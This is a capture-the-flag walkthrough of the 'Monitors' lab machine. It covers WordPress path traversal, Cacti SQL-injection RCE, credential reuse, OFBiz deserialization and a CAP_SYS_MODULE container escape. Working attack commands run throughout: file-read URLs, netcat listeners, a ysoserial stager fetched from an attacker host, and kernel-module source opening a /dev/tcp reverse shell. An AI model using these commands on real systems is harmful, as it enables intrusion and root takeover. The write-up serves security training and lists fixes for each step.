Monitors
Summary
The server at $TARGET was fully compromised, from initial web contact through to root control of the underlying host, by chaining six weaknesses across the web, application, and container layers. A path-traversal flaw in an installed WordPress plugin let me read any file on the server as the web user, including the application's database credentials. Those same credentials happened to be reused as the password for the administrator account on a second, hidden Cacti network-monitoring panel.
An unpatched SQL injection in that panel was then used to execute operating-system commands as the web user. A plaintext SSH password stored in an automated backup script promoted me to a named user account. An internal Java application (Apache OFBiz, reachable only by tunnelling through that SSH account) contained an unpatched deserialization vulnerability that gave root access inside a Docker container.
Finally, the container had been granted the dangerous CAP_SYS_MODULE Linux kernel capability, allowing me to load a custom kernel module directly into the host, breaking out of the container entirely and gaining unrestricted root control of the physical server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 3
Register both virtual hosts for local name resolution.
$ echo "$TARGET monitors.htb cacti-admin.monitors.htb" | sudo tee -a /etc/hostsConfirm the 403 and extract the admin@monitors.htb hint from the response.
$ curl -si http://$TARGET/ | grep -i 'email\|location\|server'Verify WordPress is running and the wp-with-spritz plugin is present.
$ curl -si http://monitors.htb/ | grep -i 'spritz\|plugin'Exact commands 3
Confirm path traversal is exploitable; /etc/passwd contents appear in the response.
$ curl -s 'http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd'Read the default Apache vhost config; repeat for monitors.htb.conf and cacti-admin.monitors.htb.conf to enumerate document roots.
$ curl -s 'http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/000-default.conf'Read WordPress config and recover DB_USER / DB_PASSWORD credentials.
$ curl -s 'http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../var/www/wordpress/wp-config.php'FixRemove or patch the wp-with-spritz plugin to close the unauthenticated file-read flawCritical
Exact commands 2
Submit the recovered credentials; a redirect to the Cacti console confirms a valid session.
$ curl -sc /tmp/cacti_cookies.txt -d "action=login&login_username=admin&login_password=$PASSWORD" http://cacti-admin.monitors.htb/cacti/index.php -LVerify authenticated access and confirm the Cacti version (1.2.12).
$ curl -sb /tmp/cacti_cookies.txt http://cacti-admin.monitors.htb/cacti/index.php | grep -i 'console\|cacti version'FixUse unique, randomly generated passwords for every application and service accountHigh
Exact commands 4
Download the Cacti 1.2.12 authenticated SQLi/RCE exploit (Leonardo Paiva, EDB-49810).
$ searchsploit -m 49810Start a reverse-shell listener on my machine (run in the background).
$ nc -lvnp 4444Run the exploit; replace $ATTACKER_IP with my routable IP address. If the shell does not arrive, re-login to Cacti to get a fresh session cookie and re-run.
$ python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p "$PASSWORD" --lhost $ATTACKER_IP --lport 4444Upgrade the raw netcat shell to an interactive PTY inside the www-data session.
$ python3 -c "import pty; pty.spawn('/bin/bash')"FixUpgrade Cacti beyond version 1.2.12 to eliminate CVE-2020-14295Critical
Exact commands 5
From the www-data shell. What is left after the distribution's own units is what somebody added.
$ systemctl list-units --type=service --all | grep -vi -e systemd -e apache -e ssh -e cron -e dbusFrom the www-data shell: read the service unit to find the backup script path.
$ systemctl cat cacti-backup.serviceRead the script; the config_pass variable contains Marcus's plaintext password.
$ cat /home/marcus/.backup/backup.shLog in as marcus via SSH using the recovered password.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null marcus@$TARGETRead the user flag: <user.txt>.
$ cat /home/marcus/user.txtFixReplace plaintext credentials in backup scripts with SSH key-based authenticationHigh
Exact commands 6
Forward the internal OFBiz port to localhost:18443 on my machine.
$ ssh -N -L 18443:127.0.0.1:8443 -o StrictHostKeyChecking=no marcus@$TARGETConfirm OFBiz 17.12.01 is running behind the forwarded port.
$ curl -sk https://127.0.0.1:18443/webtools/control/main | grep -i 'ofbiz\|version'Generate stage-1 payload (fetches the shell stager). Repeat for 'chmod 777 /tmp/s.sh' and 'bash /tmp/s.sh' stages.
$ java -jar ysoserial.jar CommonsBeanutils1 "curl http://$ATTACKER_IP:8000/s.sh -o /tmp/s.sh" | base64 -w0 > /tmp/stage1.b64Serve the stager script (s.sh containing the reverse-shell command) from my machine.
$ python3 -m http.server 8000Listener for the root shell from inside the OFBiz container.
$ nc -lvnp 9001Send the deserialization payload; repeat this curl for the chmod and bash execution stages in sequence.
$ curl -sk -X POST https://127.0.0.1:18443/webtools/control/xmlrpc -H 'Content-Type: text/xml' --data "<?xml version='1.0'?><methodCall><methodName>a</methodName><params><param><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$(cat /tmp/stage1.b64)</serializable></value></param></params></methodCall>"FixUpgrade Apache OFBiz to a version that removes the unauthenticated XML-RPC deserialization endpoint (CVE-2020-9496)Critical
Exact commands 10
Inside the container: confirm CAP_SYS_MODULE is in the effective capability set.
$ capsh --print | grep cap_sys_moduleRetrieve the host kernel version (e.g. 4.15.0-151-generic) to match the kernel headers for compilation.
$ uname -rCopy the missing fixdep binary into the kernel build tree so that make can complete without error.
$ find /usr/src -name fixdep 2>/dev/null | head -1 | xargs -I{} cp {} /lib/modules/$(uname -r)/build/scripts/basic/fixdepThe module and its Makefile live together; make wants a directory.
$ mkdir -p /tmp/modThe whole escape is one kernel call: a module runs in kernel context, so what it spawns is the host's root.
$ cat > /tmp/mod/reverse-shell.c <<EOF
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
// call_usermodehelper runs a program from kernel context, which is to say as
// root on the host -- the container's boundaries are not in that path.
static char *argv[] = {
"/bin/bash", "-c",
"bash -i >& /dev/tcp/$ATTACKER_IP/5555 0>&1",
NULL
};
static char *envp[] = { "PATH=/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) { }
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
EOFKbuild's own form. The tab in front of the make lines is required: spaces will not do.
$ cat > /tmp/mod/Makefile <<'EOF'
obj-m += reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOFCompiled against the running kernel's headers, because a module is only loadable by the kernel it was built for.
$ make -C /lib/modules/$(uname -r)/build M=/tmp/mod modulesStart a root-shell listener on my machine before loading the module.
$ nc -lvnp 5555Load the module; it executes in host kernel context and spawns a root shell to my listener.
$ insmod /tmp/mod/reverse-shell.koRead the root flag: <root.txt>.
$ cat /root/root.txtFixRemove CAP_SYS_MODULE and all non-essential Linux capabilities from Docker containersCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain': a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all (prefer a data format that carries no types, such as JSON parsed into known structures) and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.